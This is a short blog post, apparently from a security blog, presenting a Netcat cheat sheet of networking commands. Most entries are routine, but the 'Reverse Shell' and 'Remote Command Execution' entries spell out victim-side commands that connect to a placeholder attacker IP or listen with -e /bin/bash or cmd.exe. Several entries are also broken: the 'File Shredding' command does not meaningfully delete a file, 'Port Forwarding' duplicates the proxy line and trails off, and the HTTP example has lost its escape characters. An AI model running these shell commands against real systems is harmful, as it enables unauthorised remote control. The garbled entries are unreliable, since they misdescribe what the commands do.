RatSec Blog

Netcat Cheat Sheet

- Posted in Uncategorized by

enter image description here 1. Listening Mode: nc -l -p <port> Start Netcat in listening mode on a specific port. This mode waits for incoming connections.

  1. Connect Mode: nc <host> <port> Connect to a specific host and port. This mode initiates a connection to the specified host.

  2. File Transfer: Send a file: nc -w 3 <destination_ip> <port> < file_to_send Receive a file: nc -l -p <port> > received_file Use Netcat to transfer files between systems. In the send command, specify the destination IP and port. In the receive command, specify the listening port to accept the file.

  3. Port Scanning: nc -zv <host> <start_port>-<end_port> Check for open ports on a remote host. This command performs a TCP port scan on the specified range of ports.

  4. Chatting: Sender: nc <destination_ip> <port> Receiver: nc -l -p <port> Establish a simple chat session between two systems. One system acts as the sender, while the other listens for incoming messages as the receiver.

  5. Remote Command Execution: Sender: nc -l -p <local_port> -e cmd.exe (Windows) Receiver: nc <destination_ip> <local_port> Execute commands remotely on a target system. The sender listens for connections and executes commands, while the receiver connects and receives the command output.

  6. Proxying: nc -l -p <local_port> -c "nc <destination_ip> <destination_port>" Use Netcat as a proxy server to relay connections between two endpoints. Incoming connections to the local port are forwarded to the specified destination IP and port.

  7. Port Forwarding: nc -l -p <local_port> -c "nc <destination_ip> <destination_port>" On the client side: nc -l -p Forward connections from one port to another. Incoming connections to the local port are redirected to the specified destination IP and port.

  8. Port Redirection: nc -l -p <local_port> -c "nc -l <redirection_port>" Redirect incoming connections from one port to another locally. Netcat listens for connections on the local port and forwards them to the specified redirection port.

  9. UDP Mode: Listen: nc -u -l -p <port> Send: nc -u <destination_ip> <port> Use Netcat in UDP mode for sending and receiving UDP packets. UDP is connectionless, making it suitable for applications like streaming media or DNS queries.

  10. Banner Grabbing: nc -v <host> <port> Retrieve the banner information from a service running on a specific port. This can help identify the type and version of the service.

  11. Reverse Shell: Attacker: nc -l -p <listening_port> -vvv Victim (Linux): nc <attacker_ip> <listening_port> -e /bin/bash Victim (Windows): nc <attacker_ip> <listening_port> -e cmd.exe Establish a reverse shell connection, allowing the attacker to execute commands on the victim's system. The attacker listens for incoming connections, while the victim connects back and spawns a shell.

  12. HTTP Requests: Send HTTP GET request: echo -e "GET / HTTP/1.0rnrn" | nc <host> <port> Send custom HTTP request: echo -e "<custom_request>" | nc <host> <port> Craft and send HTTP requests using Netcat. This can be useful for testing web servers or debugging HTTP communication.

  13. File Shredding: Securely delete a file: nc -l -p <port> | shred -u Use Netcat to stream data to the shred command, securely deleting a file by overwriting its contents before unlinking it from the file system.

  14. VoIP Testing: Send audio data: cat audiofile.wav | nc -u <destination_ip> <port> Receive audio data: nc -l -u -p <port> | play -t wav - Transmit and receive audio data over a network using Netcat. This can be helpful for testing VoIP (Voice over IP) systems or streaming audio content.